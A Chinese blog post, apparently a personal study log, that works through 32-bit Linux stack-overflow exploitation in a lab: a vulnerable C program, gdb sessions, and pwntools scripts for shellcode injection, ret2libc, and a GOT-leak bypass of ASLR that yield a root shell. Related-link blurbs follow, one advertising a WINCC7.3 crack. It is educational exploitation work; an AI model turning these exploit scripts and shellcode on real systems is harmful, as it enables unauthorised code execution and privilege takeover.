x86rop调试记录linux

linux 64位栈溢出分析 调试环境是ubuntu16 64位 这次开启了DEP、ASLR(知道libc.so情况下) 还是参考了《一步一步学ROP之linux_x64篇》这篇文章。 代码是1.c: #include #include #include void vulnerable_function() { char buf[128]; read(STDIN_FILENO, bu 阅读详情

关闭dep aslr和栈保护

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

b main
r

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804842d <+0>: push   %ebp
   0x0804842e <+1>: mov    %esp,%ebp
=> 0x08048430 <+3>: and    $0xfffffff0,%esp
   0x08048433 <+6>: sub    $0x10,%esp
   0x08048436 <+9>: call   0x8048404 <vulnerable_function>
   0x0804843b <+14>:    movl   $0xd,0x8(%esp)
   0x08048443 <+22>:    movl   $0x8048530,0x4(%esp)
   0x0804844b <+30>:    movl   $0x1,(%esp)
   0x08048452 <+37>:    call   0x8048340 <write@plt>
   0x08048457 <+42>:    leave  
   0x08048458 <+43>:    ret    
End of assembler dump.
(gdb) 
(gdb) x/10s $esp
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
0xbffff28a: ""
0xbffff28b: ""
0xbffff28c: "\206r\340\267\001"
0xbffff292: ""
(gdb) Quit
(gdb) 
(gdb) disassemble
Dump of assembler code for function vulnerable_function:
=> 0x08048404 <+0>: push   %ebp
   0x08048405 <+1>: mov    %esp,%ebp
   0x08048407 <+3>: sub    $0x98,%esp
   0x0804840d <+9>: movl   $0x100,0x8(%esp)
   0x08048415 <+17>:    lea    -0x88(%ebp),%eax
   0x0804841b <+23>:    mov    %eax,0x4(%esp)
   0x0804841f <+27>:    movl   $0x0,(%esp)
   0x08048426 <+34>:    call   0x8048310 <read@plt>
   0x0804842b <+39>:    leave  
   0x0804842c <+40>:    ret    
End of assembler dump.

查看所有寄存器的值
i r(info reg)

(gdb) x/10s $ebp
0xbffff268: "\210\362\377\277;\204\004\b\334#\372\267\374\201\004\bi\204\004\b"
0xbffff27d: ""
0xbffff27e: ""
0xbffff27f: ""
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
(gdb) x/10x $ebp
0xbffff268: 0x88    0xf2    0xff    0xbf    0x3b    0x84    0x04    0x08
0xbffff270: 0xdc    0x23
(gdb) 

经过分析,ebp指向的是前栈帧的地址,ebp+4指向的是ret(返回地址)

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
gdb) ni
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
0x0804842b in vulnerable_function ()
(gdb) x/10x $ebp
0xbffff268: 0x65    0x35    0x41    0x65    0x36    0x41    0x65    0x37
0xbffff270: 0x41    0x65
(gdb) x/10s $ebp
0xbffff268: "e5Ae6Ae7Ae8Ae9\n\bi\204\004\b"
0xbffff27d: ""
0xbffff27e: ""
0xbffff27f: ""
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
(gdb) 

这里目测ret地址被6Ae7覆盖了
验证下:

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
(gdb)

出错误地址如上,肯定是ret出的错

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

验证结果和我们在内存中看到的是一样的6Ae7覆盖了ret,并且字符串长度为140.

通过转储获得内存中真正的地址

#0  0x41414141 in ?? ()
(gdb) x/10s $esp-144
0xbffff250: "ABCD", 'A' <repeats 153 times>, "\n"
0xbffff2ef: ""
0xbffff2f0: "\001"
0xbffff2f2: ""
0xbffff2f3: ""
0xbffff2f4: ""
0xbffff2f5: <incomplete sequence \372\267>
0xbffff2f9: ""
0xbffff2fa: ""
0xbffff2fb: ""
(gdb) Quit
(gdb) 

我们就跳到ABCD地址上就行

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff250

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# echo 0 > /proc/sys/kernel/randomize_va_space
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level1': pid 2412
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ whoami
[*] Process './level1' stopped with exit code -11 (SIGSEGV) (pid 2412)
[*] Got EOF while sending in interactive

搞了几次都会莫名的退出

(gdb) x/10s $esp
0xbffff680: "\334#\372\267\374\201\004\bi\204\004\b"
0xbffff68d: ""
0xbffff68e: ""
0xbffff68f: ""
0xbffff690: "\001"
0xbffff692: ""
0xbffff693: ""
0xbffff694: ""
0xbffff695: <incomplete sequence \372\267>
0xbffff699: ""
(gdb) 

查看堆栈,发现栈地址变化了,我们在程序中的硬编码似乎没有啥意义。
明明关闭了ASRL,没办法。先放着把。

最后发现,是程序编译的时候没有关闭栈保护。
gcc -fno-stack-protector -z execstack -o level1 level1.c

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './mylevel': pid 2479
[*] Switching to interactive mode
$ whoami
root
$  

成功

关闭aslr和栈保护,开启dep

由于栈数据被保护,跳转过去没用。所以上面的方法就不能利用成功
这里是利用跳转到系统函数地址来执行shellcode

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# gcc -fno-stack-protector -o level2 level1.c
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# gdb ./level2
(gdb) b main
Breakpoint 1 at 0x591
(gdb) r
Starting program: /root/Desktop/ROP_STEP_BY_STEP-master/linux_x86/level2 

Breakpoint 1, 0x00400591 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e29b40 <__libc_system>
(gdb) print __lib_start_main
No symbol "__lib_start_main" in current context.
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, 
    char **), void (*)(void), void (*)(void), 
    void *)} 0xb7e07190 <__libc_start_main>
(gdb) find 0xb7e07190,+2200000,"/bin/sh"
0xb7f4bdc8
warning: Unable to access 16000 bytes of target memory at 0xb7fa5b50, halting search.
1 pattern found.
(gdb) x/s 0xb7f4bdc8
0xb7f4bdc8: "/bin/sh"

首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e29b40以及”/bin/sh”的地址0xb7f4bdc8。下面我们开始写exp:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e29b40
binshaddr=0xb7f4bdc8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp2.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level2': pid 2870
[*] Switching to interactive mode
$ whoami
root

成功

开启dep和aslr,关闭栈保护

再次执行level2程序已经不能正常执行。
如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的。

那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们必须泄露出libc.so的地址。

$ objdump -d -j .plt level2

Disassembly of section .plt:

08048310 <read@plt>:
 8048310:   ff 25 00 a0 04 08       jmp    *0x804a000
 8048316:   68 00 00 00 00          push   $0x0
 804831b:   e9 e0 ff ff ff          jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048326:   68 08 00 00 00          push   $0x8
 804832b:   e9 d0 ff ff ff          jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:   ff 25 08 a0 04 08       jmp    *0x804a008
 8048336:   68 10 00 00 00          push   $0x10
 804833b:   e9 c0 ff ff ff          jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048346:   68 18 00 00 00          push   $0x18
 804834b:   e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

$ objdump -R level2
//got表
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   read
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   write

除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。

使用ldd命令可以查看目标程序调用的so库。并拷贝libc出来

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# ldd level2
    linux-gate.so.1 (0xb7ee5000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7cf9000)
    /lib/ld-linux.so.2 (0xb7ee7000)
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# cp /lib/i386-linux-gnu/libc.so.6 libc.so

exp如下:

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write'] //调用打印函数
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']    //打印函数地址
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404    //这个是目测是自定义函数的偏移
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))     //接受返回的函数地址信息
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

payload1 = ‘a’*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
这一句比较神奇,上面上plt_write执行完需要返回,而我们plt_write的参数要放在vulfun_addr的后面。大致这么个意思。而p32我猜测应该是小端序列化这段数据。
大致把0xbffff240变成了类似“\x40\xf2\xff\xbf”

最后程序因为pwntools是64位崩溃了,无语。

小结

这里有段关键代码详细解释下:
这里写图片描述

这里写图片描述

总结

最后发现,linux所谓的aslr随机化的是lib、stack、heap,但program image 是不进行随机化的。应该是编译的时候确定的,不过有点疑问,万一两个程序都被放在一块地址块上怎么办。

NUAACTF pwn string writeup 题目描述: 菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求 题目分析: 1、首先查看下文件的信息及其保护机制: tucker@ubuntu:~/pwn$ file string string: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter... 阅读详情

相关推荐

一步一步学ROP Linux x86 学习笔记

一步一步学ROP Linux x86 学习笔记 一无任何防护 二开启DEP 三开启DEP和ASLR 四开启DEP和ASLR无libc一步一步学ROP Linux x86 学习笔记这部分文章主要依据的是蒸米大神的一步一步学ROP系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方。一、无任何防护在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp。 从最基础的开

chihie的博客 897

蒸米ROP学习笔记(一步一步学 ROP 之 Linux_x86 篇)

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar

niu_niu_的博客 3149

CTF PWN入门:从栈溢出原理到ROP利用实战

栈缓冲区溢出是二进制安全领域的经典漏洞类型,其核心原理在于程序向栈上固定大小的缓冲区写入超长数据,覆盖了相邻的关键控制数据。在函数调用过程中,返回地址保存在栈帧中,一旦被恶意数据覆盖,就能劫持程序执行流程。为了绕过现代操作系统普遍启用的NX(数据执行保护)机制,安全研究人员发展出了ROP(面向返回编程)技术,通过组合程序中已有的以ret指令结尾的短指令序列(gadget),构造出能实现任意功能(如执行系统命令)的利用链。这种技术广泛应用于CTF竞赛中的PWN题型和现实世界的漏洞利用中,是理解二进制漏洞利用的

weixin_30338497的博客 525

forgot [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列13

题目地址:forgot 本题是高手进阶区的第二题,恭喜大家已经进入高手行列!好假好假,哈哈哈! 废话不说,看看题目先 这个题目有很长的描述,但是都是废话,不去管他了。 照例下载附件,做下安全检查 root@mypwn:/ctf/work/python/forgot# checksec 39d012d5bbc34295855136e9662a5392 [*] '/ctf/work/py...

重新启程 1333

Linux_x86栈溢出攻击实验——写在前面的话

师父说,要想在安全这个行业走得远,首先要看兴趣。其实我有些怀疑自己的兴趣,不过干一行爱一行。 最近由于某种原因开始接触二进制漏洞,特别小白那种,虽然漏洞原理两三句话说得清清楚楚,但要实际操作起来真的不知如何下手。因此将自己的从0到1的经历写出来分享跟我一样的小白,尽可能做到超级详细通俗易懂,一方面记录自己的学习过程以及踩过的坑,另一方面希望能坚持更新博客也给自己坚持学习的动力,希望在这个过程中培养...

zd454909951的博客 561

从堆栈溢出到ROP攻击链:实战构建漏洞利用的艺术

缓冲区溢出是计算机安全领域的经典漏洞,其原理在于程序向固定大小的缓冲区写入超出其容量的数据,导致相邻内存区域被覆盖。这种内存破坏漏洞的核心危害在于能够劫持程序的控制流,例如覆盖函数返回地址,从而引导CPU执行攻击者预设的指令。在安全防护技术不断演进的背景下,传统的Shellcode注入因数据执行保护(NX/DEP)和地址空间布局随机化(ASLR)机制而面临挑战。ROP(面向返回编程)技术应运而生,它通过复用程序中已有的、以ret指令结尾的短指令序列(Gadget),以“借力打力”的方式串联成攻击链,有效绕过

weixin_33861800的博客 302

一步一步学ROP——ROP

(接上文) 接下来我们打开ASLR保护。 sudo -s echo 2 > /proc/sys/kernel/randomize_va_space` 现在我们再回头测试一下level2的exp,发现已经不好用了。 #!bash $python exp2.py [+] Started program './level2' [*] Switching to interactive mode ...

weixin_42390670的博客 884

从CISCN_2019_N_1看栈溢出漏洞利用:逆向分析与ROP实战

栈溢出是二进制安全领域的经典漏洞类型,其原理源于程序对用户输入数据缺乏边界检查,导致超出预定缓冲区的数据覆盖相邻内存区域。在内存布局中,函数调用时会将返回地址保存在栈上,而栈溢出恰好能篡改这一关键数据,从而劫持程序执行流程,实现任意代码执行。这种漏洞利用技术在CTF竞赛和实际渗透测试中具有重要价值,常被用于权限提升和系统控制。通过分析CISCN_2019_N_1这道典型题目,可以深入理解栈帧结构、函数调用约定以及ROP(面向返回编程)等核心概念。在逆向工程实践中,结合IDA Pro静态分析和GDB动态调试,

weixin_30321709的博客 448

一步一步学ROP之Linux_X86-蒸米大神

记录跟着蒸米大神一步一步学ROP之Linux_x86学习ROP的过程,在进行复现的时候,遇到了一些问题,文章中会体现出来。 0x00序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86...

qq_43430261的博客 953

影像组学分析流程中,图像分割前要做的事(图像预处理)

在InputVolume中无法找到自己想要重采样的序列,这时可以检查一下序列的Volume type是不是MRMLMulti。这时,Volume type将由MRMLMulti改为Scaler,随后即可在3D slicer中完成Resample Scaler Volume。2.1、重采样:通过3Dslicer中的Resample Scaler Volume实现。具体设置参数:spacing(1,1,1),Interpolation选择Bspline。2、图像预处理:重采样和标准化。

weixin_45011313的博客 3724

基于STM32的双串口同时工作的详细指南(含完整代码示例)

STM32是STMicroelectronics(意法半导体)公司推出的一系列基于ARM Cortex-M内核的微控制器,广泛应用于嵌入式系统中。STM32系列微控制器具有高性能、低功耗和丰富的外设接口,适用于各种应用场景。USART(Universal Synchronous/Asynchronous Receiver/Transmitter)和UART(Universal Asynchronous Receiver/Transmitter)是串口通信的两种方式。

m0_57781768的博客 3805

linux kernel pwn学习之ROP

Linux Kernel ROP Linux kernel rop根glibc下的ROP思路是差不多的,当我们学习掌握了glibc下的ROP,再来看kernel的ROP攻击,就很容易理解了。 与用户态同样的是,内核有也类似于PIE的机制,加kaslr,在启动系统时的脚本里可以指定开启或关闭kaslr。 qemu-system-x86_64\ -m256M\ -kernel...

seaaseesa的博客 1636

重磅!Repo Wiki!

RepoWiki是Qoder平台的智能文档生成功能,通过静态代码分析自动提取项目架构、模块依赖和核心逻辑,并持续追踪代码变更保持文档同步。其工作流程分为四个阶段:1)代码扫描与AST解析;2)结构分析与依赖映射;3)文档智能生成;4)增量更新机制。支持多种编程语言,能识别设计模式并推断技术决策,适用于新项目搭建和遗留系统维护。优势在于降低理解成本和提高开发效率,但存在文件数量限制和依赖Git的局限性。典型应用场景包括自动生成架构图、API手册和团队知识沉淀。

ayusong870的博客 4028

GDB动态调试实战:逆向思维理解栈溢出与ROP链构造

在二进制安全与漏洞利用领域,理解程序动态执行流是核心基础。通过调试器观察函数调用、指令执行时寄存器与内存的实时变化,是掌握漏洞原理的关键。栈溢出作为一种经典的内存破坏漏洞,其原理在于向固定大小的缓冲区写入超长数据,从而覆盖相邻的栈帧数据,尤其是关键的返回地址。这种技术价值在于能劫持程序控制流,为后续利用奠定基础。在应用场景上,结合ROP(面向返回编程)技术,可以串联程序中的代码片段(gadget)绕过安全机制(如NX)。本文以GDB为工具,通过动态调试一个简单的栈溢出程序,可视化地演示了从覆盖返回地址到构造

weixin_34343308的博客 486

开源遥感语义分割工具箱mmsegmentation基于Lovedata数据集训练模型

开源遥感语义分割工具箱mmsegmentation基于Lovedata数据集训练模型

yilvyangguang520的博客 499

PLC批量读写优化:C# Modbus TCP多寄存器批量操作(效率提升50%)

效率提升:请求次数减少90%以上,通信耗时降低50%-95%;资源节约:减少网络带宽占用和PLC/上位机CPU负载;稳定性提升:更少的请求意味着更少的通信异常;适配高频采集:满足工业现场100ms/次的高频率数据采集需求。工业落地时需注意:批量操作的核心是地址连续化规划,提前与PLC工程师协同规划寄存器地址,是优化的前提;同时需配合重试、校验机制,确保批量操作的可靠性。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 1259

从Go二进制栈溢出到ROP利用:以DEFCON CTF赛题gobaby为例

栈缓冲区溢出是二进制安全领域的经典漏洞类型,其原理是程序向固定大小的栈缓冲区写入超出容量的数据,导致相邻的关键控制数据(如返回地址)被覆盖。在内存安全机制(如NX/DEP)普遍启用的现代系统中,传统的shellcode注入执行方式已不再适用,从而催生了面向返回编程(ROP)等代码复用攻击技术。ROP通过串联程序中已有的、以ret结尾的短指令序列(gadget),来拼凑出所需的攻击逻辑,例如调用系统函数或执行系统调用,最终实现在安全防护下的代码执行。这项技术在漏洞利用开发中具有核心价值,尤其在CTF竞赛和高级

weixin_34331102的博客 372

C++怎么学?零基础也可以,一份完整学习路线图助你搞定!

提供一条清晰、系统且实践导向的C++学习路径。从基础语法、面向对象、泛型编程、异常处理,逐步深入STL、智能指针、并发编程等现代C++高级特性。无论是新手还是希望提升,通过系统学习与项目实践,助您将理论知识转化为实际解决问题的能力。

Lion_Long的博客 4025

Linux内核PWN-基础ROP提权

内核提权提权提权!!!!

a2590035252的博客 1719

28.Anaconda安装jupyter notebook、jupyterlab及体验

手贱,不小心将Anaconda自带得jupyter给卸载了,没法子了查了好多资料都比较麻烦,所以自己摸索着重新安装,记录一下心得。说明:Anaconda没有加入环境变量,Anaconda官方建议不要将Anaconda加入环境变量,这就意味着他和python是可以共存的。

迷逝 5028

手把手教你 Ubuntu 24.04 离线安装 Ollama

本文介绍 Ubuntu 下离线安装 Ollama 并使用 Ollama 部署 llama3.1-70b 大模型

举世誉之而不加劝,举世非之而不加沮,定乎内外之分,辩乎荣辱之境,斯已矣。 1018

Claudian 插件实战:5 步装好 Obsidian AI 助手,让 AI 帮你整理知识库

整理一堆零散笔记时,最耗时间的就是把它们重新归位。装上 Claudian 这个 Obsidian AI 插件,Claude Code 会把你的库当成工作目录,直接读、写、搜索笔记,你只负责下指令。 [![Claudian Obsidian AI 插件主界面预览](https://raw.gitcode.com/GitHub_Trending/cl/claudian/raw/a7a33821674

gitblog_00142的博客 384

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

ARM架构IoT设备漏洞利用实战:从环境搭建到ROP链构造

二进制漏洞挖掘与利用是信息安全领域的核心技术之一,涉及对程序内存布局、控制流劫持和代码执行的深入理解。其原理在于通过输入精心构造的数据,触发软件中的缓冲区溢出、格式化字符串等漏洞,从而改写内存关键数据或劫持程序执行流程。在物联网(IoT)安全领域,这项技术的价值尤为突出,因为大量嵌入式设备采用ARM、MIPS等非x86架构,且往往缺乏完善的内存保护机制。IoT设备通常资源受限,运行裁剪后的libc库,并可能缺失标准调试工具链,这为漏洞利用带来了独特的挑战和机遇。通过搭建QEMU模拟环境、使用gdb-mult

weixin_34319817的博客 384

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

CSAPP Bomblab实战指南:x86-64汇编逆向与动态调试全解析

程序的机器级表示是计算机系统课程的核心基础,其本质在于理解高级代码如何被编译为CPU可执行的指令序列,并在内存与寄存器中真实运行。这一过程涉及x86-64汇编指令语义、栈帧结构、调用约定(System V ABI)、静态反汇编与动态调试协同分析等关键技术原理。掌握这些能力不仅支撑CSAPP实验体系的深度实践,更构成嵌入式开发、性能优化及二进制安全分析的底层能力基石。典型应用场景包括Bomblab关卡破解、core dump根因定位、编译器优化行为验证以及ROP链构造等。本文聚焦CSAPP官方Bomblab实

weixin_29193259的博客 337

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

CTF PWN-攻防世界XCTF新手区WriteUp

文章目录前言001 get_shell002 hello_pwn 前言 PWN 是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵。以上是从百度百科上面抄的简介,而我个人理解的话,应该就是向目标发送特定的数据,使得其执行本来不会执行的代码,前段时间爆发的永恒之蓝等病毒其实也算得上是 pwn 的一种。 CTF 中 PWN 类型的题目的目标是拿到 flag,一般是在 linux 平台下通过二进制/系统调用等方式编

道阻且长,行则将至 1万+

二进制漏洞挖掘与利用实战:从模糊测试到ROP武器化

在软件安全领域,内存破坏漏洞是攻击者实现远程代码执行的关键突破口。其原理在于程序对用户输入缺乏边界检查,导致数据写入越界,从而覆盖关键内存结构(如函数指针、返回地址)。理解栈溢出、堆溢出、释放后重用等漏洞类型的技术价值,在于能够揭示软件在内存安全层面的根本缺陷,进而设计出更有效的防御机制。这些技术广泛应用于渗透测试、CTF竞赛和高级威胁分析中,帮助安全研究人员评估系统韧性。本文聚焦于模糊测试和ROP链构造这两个核心热词,系统拆解了从自动化漏洞发现到稳定利用载荷构建的完整工程路径,为实战攻防提供了一套可复用的

weixin_30824479的博客 484
上一篇: ios逆向神器frida
下一篇: rop x64分析记录
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值